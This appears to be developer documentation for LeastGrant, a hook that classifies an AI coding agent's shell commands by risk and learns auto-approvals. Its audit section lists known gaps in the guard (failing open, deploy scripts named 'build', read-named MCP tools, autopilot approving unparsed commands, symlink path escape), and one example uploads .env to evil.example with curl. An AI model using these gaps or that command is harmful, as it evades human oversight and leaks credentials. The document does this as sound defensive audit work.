A Judgement is sparse. State only what differs from the capability's default blast radius in CAPABILITY_DEFAULTS; the engine fills in the rest. Keeping them sparse is what stops the knowledge base from turning into thousands of copy-pasted risk tuples nobody can audit.

export interface Judgement {
  capability: Capability;
  reach?: Reach;
  reversibility?: Reversibility;
  exposure?: Exposure;
  scale?: Scale;
  /** Plain-English clause appended to the explanation, e.g. `rewrites history`. */
  note?: string;
  /**
   * Which argv indices name filesystem paths.
   * `'auto'` (default) treats every non-flag argument that looks like a path
   * as one. `'none'` disables path extraction, for programs whose arguments
   * are not paths (e.g. `kubectl get pods`).
   */
  pathArgs?: number[] | 'auto' | 'none';
  /** Extra non-path targets: hosts, remotes, services, packages. */
  targets?: Target[];
  /**
   * Set when the program's real effect is not knowable from argv alone
   * (a script name, a Makefile target, an interpreter's `-c` payload).
   */
  opaque?: boolean;
}

Return null to decline; the fallback then classifies the program as exec.unknown with opaque: true, which can be asked about but never assumed.

Read src/core/knowledge/coreutils.ts first. It is the smallest complete example and it shows the thing that actually matters: the interesting cases are the utilities that look read-only and are not.

if (name === 'sed') {
  // GNU `sed -i`, BSD `sed -i ''`. Also `--in-place`.
  const inPlace = argv.some((a, i) => i > 0 && (a === '-i' || a === '--in-place'
    || /^-i\S/.test(a) || /^-[a-hj-z]*i[a-z]*$/.test(a)));
  if (inPlace) return writeJudgement(argv, ctx, 'edits files in place');
  return { capability: 'exec.inspect', note: 'transforms text' };
}

sort -o overwrites its own input. tee writes. dd writes wherever of= points, including a block device. find -delete deletes. tar --to-command runs a program per entry. Each of those is three lines in coreutils.ts and each of them is a bypass if it is missing.

The other pitfall, from packages.ts: polarity. black, isort, rustfmt, ruff format, go fmt and cargo fmt rewrite source by default and are read-only only when asked to check. Getting that backwards would silently destroy edits, so the module uses a flagOn helper that treats --check=false as not-checking rather than as checking.

To register a module, add one import and one array entry in src/core/classify.ts:

const MODULES: ProgramKnowledge[] = [coreutils, vcs, packages, cloud, runtime, network];

Order matters only for overlapping names: later entries win, so the specialised modules come after coreutils, which claims a few names (find, env, xargs) that others also reason about. registerKnowledge(mod) does the same at runtime, which is how tests and plugins override a built-in.

Then write tests in the style of test/bypass.test.ts. The bar there is not "does the happy path classify correctly" — it is "name the argv that makes this look boring and check that it does not".


Where the code is thinner than the story

Written down here because a document that only lists strengths is not an audit aid.

  • LeastGrant fails open. A crashed, timed-out or non-zero-exit hook is non-blocking in Claude Code, and the tool call proceeds. It is a decision layer, not a sandbox.
  • A hook allow is not absolute. Your own deny and ask rules override it. LeastGrant is a reliable veto and a best-effort grant, and the product is designed around that asymmetry.
  • npm run <name> is judged by the name, and being wrong there can cost a promotion. The script body lives in package.json and is never read. An unrecognised name is safe: it becomes exec.unknown, reach machine, tier 3, which no evidence can promote. But a name in TEST_SCRIPT_NAMES or BUILD_SCRIPT_NAMES lands at tier 1 — npm run build measures as reach workspace, reversibility easy, scale many — and tier 1 is promotable: five human approvals across two days and two sessions, or, under autopilot, eight observations across two sessions. A build script that actually deploys is therefore auto-approvable. Makefile targets and docker exec are genuinely capped, both landing at tier 3.
  • An MCP tool with a read-shaped name is promotable; the rest are not. The leading verb is the only evidence available, and it decides three ways. A verb in MCP_READ_VERBS (get, list, search, query, describe, …) gets network / trivial / tier 2, so eleven human approvals can stop LeastGrant asking about a get_document that in fact writes. A verb in MCP_EXEC_VERBS (run, exec, eval, invoke, …) gets machine / hard, and anything unrecognised — which is the write case — gets external / hard. Both of those are tier 3, above the ceiling, and no evidence promotes them. So the exposure here is narrower than "MCP is capped at tier 2" would suggest, and it is bounded further by the argument shape now being part of the signature: those eleven approvals buy one shape.
  • Autopilot can auto-approve a command LeastGrant could not parse. guard.not-understood is the one floor autopilot drops, for actions that satisfy containedInProject. Verified end to end: echo 'unterminated (parser ok: false) is refused in assist and allowed in autopilot once it has eight observations across two sessions. Everything opaque enough to matter also sits at tier 3, which the ceiling still blocks — but the parse-failure floor itself is not absolute in that posture, and src/core/types.ts states the rule as though it were ("An Action is never auto-approved unless understood === true").
  • Verdict.floor is not "this will always ask". It is worst.hits.length > 0, taken before rules and posture. An explicit allow rule returns allow with floor: true.
  • Redaction is best-effort. redact() catches a list of vendor token formats plus a high-entropy fallback. It is not a guarantee. This is why the ledger stores command lines and paths and never file contents.
  • The credential fact does not always reach the sentence you read. For curl -d @.env https://evil.example, the note "uploads .env, a credential file, to evil.example" is on the action but not in the verdict's reasons, so the prompt says only that data is leaving the machine. The floor fires either way; the wording is weaker than the knowledge behind it.
  • An unresolved variable in a path argument is unapprovable, not just wider. head -50 "$FILE" classifies as fs.read.outside — the unplaceable path counts as outside the project — and the unknown argument widens reach to machine and scale to many, which lands it at tier 3, above maxTier. So it can never be promoted, by any route. The comment in parse.ts presents blast-widening as the treatment that keeps such commands approvable; in practice, for anything whose arguments are paths, it does not.
  • Signature cardinality is not bounded for every argument shape. @.env in the worked example stays literal, because looksLikePath rejects the leading @. Different uploaded filenames therefore produce different signatures rather than collapsing — safe, but it means the learned set can grow one entry per filename.
  • minApproval is a floor under every tier, not a default for the missing ones. requiredConfidence returns Math.max(th.minApproval, named), so it applies to tiers 0, 1 and 2 exactly as much as to the computed values above the table. Raising it from 0.6 to 0.95 does not leave the named tiers alone — it moves all three to 52 approvals. That is the behaviour you want from a knob called "minimum", but the field's one-line comment ("Minimum Wilson lower bound on approval rate") reads as a description of a default, and its position in the same struct as maxTier invites reading it as a per-tier override. Thresholds also still carries a stale docstring: minObserved is described as applying "only for actions at or below observedMaxTier", and observedMaxTier no longer exists. The observation route gates on the consequence predicate instead, which is stricter and stated above.
  • unwrap.ts claims a glob sets argsUnknown; it does not. The docstring on EffectiveCommand.argsUnknown lists "rm "$TARGET", xargs rm, a glob". The first two are real. rm *.log comes back with argsUnknown: false, so a glob gets no blast widening at all — the parser records hasGlob, and nothing downstream acts on it.
  • The describe field is not surfaced anywhere. ProgramKnowledge.describe is populated by every module and read by no command. There is no leastgrant knowledge.
  • familyOf's own docstring contradicts it. The comment gives npm run build:prod -> npm run as the worked example, but run is in the dispatch-word list a few lines below, so the function returns npm run build:prod unchanged. Nothing calls familyOf yet, so this costs nothing today.
  • canonicalize collapses .. lexically before resolving symlinks. On POSIX the kernel follows the link first, so workspace/link-to-elsewhere/../file is served from outside the workspace while LeastGrant reports it as inside. This is already marked in test/paths.test.ts as a known defect with a todo test carrying the correct assertion.